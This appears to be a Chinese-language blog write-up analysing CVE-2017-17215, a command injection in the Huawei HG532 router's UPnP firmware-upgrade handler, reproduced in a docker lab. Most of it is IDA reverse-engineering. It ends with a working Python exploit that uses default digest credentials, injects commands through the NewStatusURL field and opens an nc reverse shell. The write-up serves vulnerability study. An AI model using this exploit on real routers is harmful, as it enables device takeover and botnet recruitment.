漏洞分析:CVE-2017-17215
華為HG532路由器的命令注入漏洞,存在於UPnP模組中。
漏洞分析
什麼是UPnP?
搭建好環境(使用IoT-vulhub的docker環境),啟動環境,檢視一下系統啟動的服務和埠監聽情況。
漏洞點存在於UPnP模組中,關於upnp協議,其實現的功能大致如下:
1.NAT 閘道器裝置擁有一個公網 IP 地址(比如 10.59.116.19),內網中的主機(比如 192.168.1.101)想要與外界通訊的話,NAT 閘道器裝置可以為其做一個埠對映(比如:180.59.116.19 :80 —> 192.168.1.101 :80),這樣,外部的主機發往 NAT 閘道器的資料包都會被轉發給內網的該主機,從而實現了內網中的主機與外部主機的通訊;
2.當內網的服務,需要被外網訪問的時候,就需要做一個埠對映,把內網主機的埠對映到NAT閘道器裝置的一個埠上去,這樣訪問閘道器裝置的埠時候,實際上就是訪問了內網主機的服務。但是當內網有多臺主機需要向外提供服務的時候,就需要手動配置NAT閘道器裝置的對映埠,確保這些內網服務不會對映到NAT閘道器裝置的同一個埠上去,否則就會造成埠的衝突,這給使用者造成了很多麻煩;
3.UPnP 技術標準的出現就是為了解決這個問題,只要 NAT 裝置(路由器)支援 UPnP,並開啟。那麼,當我們的主機(或主機上的應用程式)向 NAT 裝置發出埠對映請求的時候,NAT 裝置就可以自動為主機分配埠並進行埠對映。這樣,我們的主機就能夠像公網主機一樣被網路中任何主機訪問了。
總的來說,upnp提供了一種外網到內網主機的訪問機制,如果閘道器裝置的upnp模組存在問題的話,從WAN口去攻擊路由器等等閘道器裝置就會比較容易。HG532這款裝置,使用upnp來進行韌體更新,在韌體更新的過程中存在命令注入漏洞,最早是checkpoint發現被Mirai的變種OKIRU/SATORI利用來構建殭屍網路。
漏洞函式,你在哪裡被呼叫?
用IDA開啟/bin/upnp檔案,通過搜尋system等命令執行函式的交叉引用,檢視存在的命令注入點。由於大部分命令執行函式的引數是硬編碼過的,所以找到這個漏洞點並不困難,簡單的搜尋之後,就可以看到一個snprintf函式在傳遞引數的過程中,對引數沒有做任何校驗,然後snprintf讀入的格式化字串引數的地址被傳遞到了system函式中,system呼叫upg來進行韌體更新,如果param1和param2兩個引數可控的話,就可以在system中執行攻擊者的命令。
現在需要看一下ATP_XML_GetChildNodeByName函式,由於韌體沒有剝離符號表,所以通過函式名大致可以看出函式做了什麼:
int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param)
{
int flag; // $s1
int i; // $v0
int v9; // $s0
int NodeValue; // [sp+20h] [-8h] BYREF
int ret_NodeName; // [sp+24h] [-4h] BYREF
flag = 0x40090000;
if ( NodeName )
{
for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) )
{ // 遍歷xml節點
v9 = i;
if ( !i )
{
if ( param )
*param = 0;
return 0x40090004;
}
flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// 獲取xml節點的值
if ( flag )
{
if ( param )
*param = 0;
return flag;
}
if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) )
break;
}
if ( a3 )
*a3 = v9;
if ( param )
{
if ( NodeValue )
((void (*)(void))sub_408540)();
*param = NodeValue;
}
}
return flag;
}
大膽猜測一下:通過遍歷xml的節點,找到標籤名和第二個引數一樣的節點,然後把xml節點的值寫入到第四個引數的地址處。這裡比較坑的一點是,我找不到漏洞函式的交叉引用,也不知道怎麼控制snprintf的引數。
這裡先在squashfs-root目錄下找找"NewDownloadURL"和"NewStatusURL"這兩個字串:
在upnp中查詢DevUpg.xml字串的交叉引用:
檢視ATP_UPNP_RegDeviceAndService函式,發現這個函式對ATP_UPnP_RegDevice函式和ATP_UPnP_RegService函式有大量的呼叫,猜測這個函式可能主要用於開啟外網對內訪問的服務。
往下找一找,可以看到一個ATP_UPNP_RegAction函式,這個函式有兩個引數:
這個引數之前就作為ATP_UPnp_RegDevice的最後一個引數被傳遞進去過:
我們之前說,ATP_UPnP_RegService這個函式可能是開啟UPnP的服務,那ATP_UPNP_RegAction,很有可能就是要對開啟的服務做一些操作,跟進看一看。
int __fastcall ATP_UPNP_RegAction(int service_id, int idx)
{
int result; // $v0
int *v4; // $s0
char *funcname; // $s2
int v6; // $s1
if ( !service_id )
return 0x40090000;
result = 0x40090000;
if ( *(_DWORD *)(service_id + 48) )
{
v4 = *(int **)(service_id + 36);
if ( v4 )
{
funcname = g_astActionArray[4 * idx];
while ( 1 )
{
if ( (v4[1] & 0x40000000) != 0 )
{
v6 = *v4;
if ( !strcmp(*v4, funcname) )
break;
}
v4 = (int *)v4[4];
result = 0x40090000;
if ( !v4 )
return result;
}
ATP_UPNP_Free(v6);
v4[1] &= 0xBFFFFFFF;
*v4 = idx;
result = 0;
}
}
return result;
}
這裡的重點,在g_astActionArray這個全域性變數,這個全域性變數之前沒有被識別出來,在IDA裡面修改識別一下,發現別有洞天:
這是一個虛表,aUpgrade和DeviceUpgrade(這個就是漏洞函式)分別是下標為0和1的函式名。這樣看來,之前找不到對應漏洞函式的交叉引用也就有理可循了。
再來看看這個虛表對應的交叉引用,看除了ATP_UPNP_RegAction這個函式之外,它還在哪裡被呼叫了:
UPnPGetActionByName會返回g_astActionArray中的函式指標:
然後這個函式指標隨後會被呼叫:
做到這一步,我們現在可以再梳理一下逆向的工作了。
我們之前首先通過搜尋system函式交叉引用的辦法,找到了漏洞點,但是沒有找到漏洞函式的交叉引用,這是因為函式是通過虛表的方式,呼叫了函式指標。
然後我們通過在韌體中查詢關鍵字串的方式,確定了UPnP協議要解析的一個關鍵的xml檔案:DevUpg.xml。我們又回到/bin/upnp中,查詢這個檔名字串的交叉引用,通過分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction這兩個函式,在IDA裡面找到並且正確識別了這個虛表。
最後再通過查詢虛擬函式其他的交叉引用,找到了函式指標被呼叫的地方,還原了整個漏洞函式執行的流程。
那麼現在還要關注哪些問題?
我們現在還不知道,控制韌體升級的訊息格式,只有清楚了訊息格式,我們才能結合之前找到的注入點注入命令。
通過UPnP實現韌體更新的過程,是通過一個Web介面來實現的,我們還要把這個介面給找出來。完成這兩步,感覺這個漏洞挖掘的過程就被完整地還原出來了,開搞。
尋找Web介面
在逆向的過程中,有這樣一段程式碼:
http_request是我重新命名的一個變數,這個變數肯定是一個結構體指標,但是暫時沒有辦法還原這個結構體。UpnpGetServiceByUrl這個函式名也引起了我的注意(url這個變數也是我重新命名的一個變數,根據函式名猜的),跟進到這個函式中看一看:
這樣一看,這個函式實現的功能其實也能猜個十之八九,g_pstUpnpGvarHead這個全域性變數最開始是在ATP_UPNP_Init函式中被賦值;
還有一個函式會以xml格式返回客戶端錯誤:
到這一步,我覺得繼續靜態分析的話,收穫也不大了,登入到路由器後臺找一找api,看看能不能抓包分析一下流量是唯一的出路。
後臺確實有韌體升級的功能,但是在docker中好像不能用,我把tcpdump傳到靶機中沒有抓取到37215埠的流量,看了一下check point的漏洞公告和分析,嘗試構造exp。
漏洞利用
checkpoint文中提到是通過蜜罐捕獲到了流量。
通過UPnP協議控制韌體升級的訊息格式如上圖所示,其中NewStatusURL和NewDownloadURL標籤中的內容就是我們可控的命令注入點。通過nc反彈shell失敗,wget傳遞msf的反彈shell還是穩......
exp中需要進行http身份驗證,否則就會報401錯誤。
import requests
from threading import Thread
from requests.auth import HTTPDigestAuth
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''<?xml version=\"1.0\" ?>\n'''
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
payload += '''<NewStatusURL>;$(./tools/msf);</NewStatusURL>\n'''
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
payload += '''</s:Body>\n'''
payload += '''</s:Envelope>'''
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload)
r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
print(r.status_code)
總結
關於這個漏洞,感覺網上一些文章都是搭了環境,然後直接找一次命令注入點,根據漏洞公告給的資訊打一次exp,少了一些細節。我在分析的過程中,加入了自己學習和研究的過程中的一些思路和想法,在這個過程中,我對於UPnP協議也有了一些瞭解,加深了對命令注入漏洞資料流的理解。
參考連結:
https://zhuanlan.zhihu.com/p/40407669
https://nosec.org/home/detail/4871.html
https://research.checkpoint.com/2017/good-zero-day-skiddie/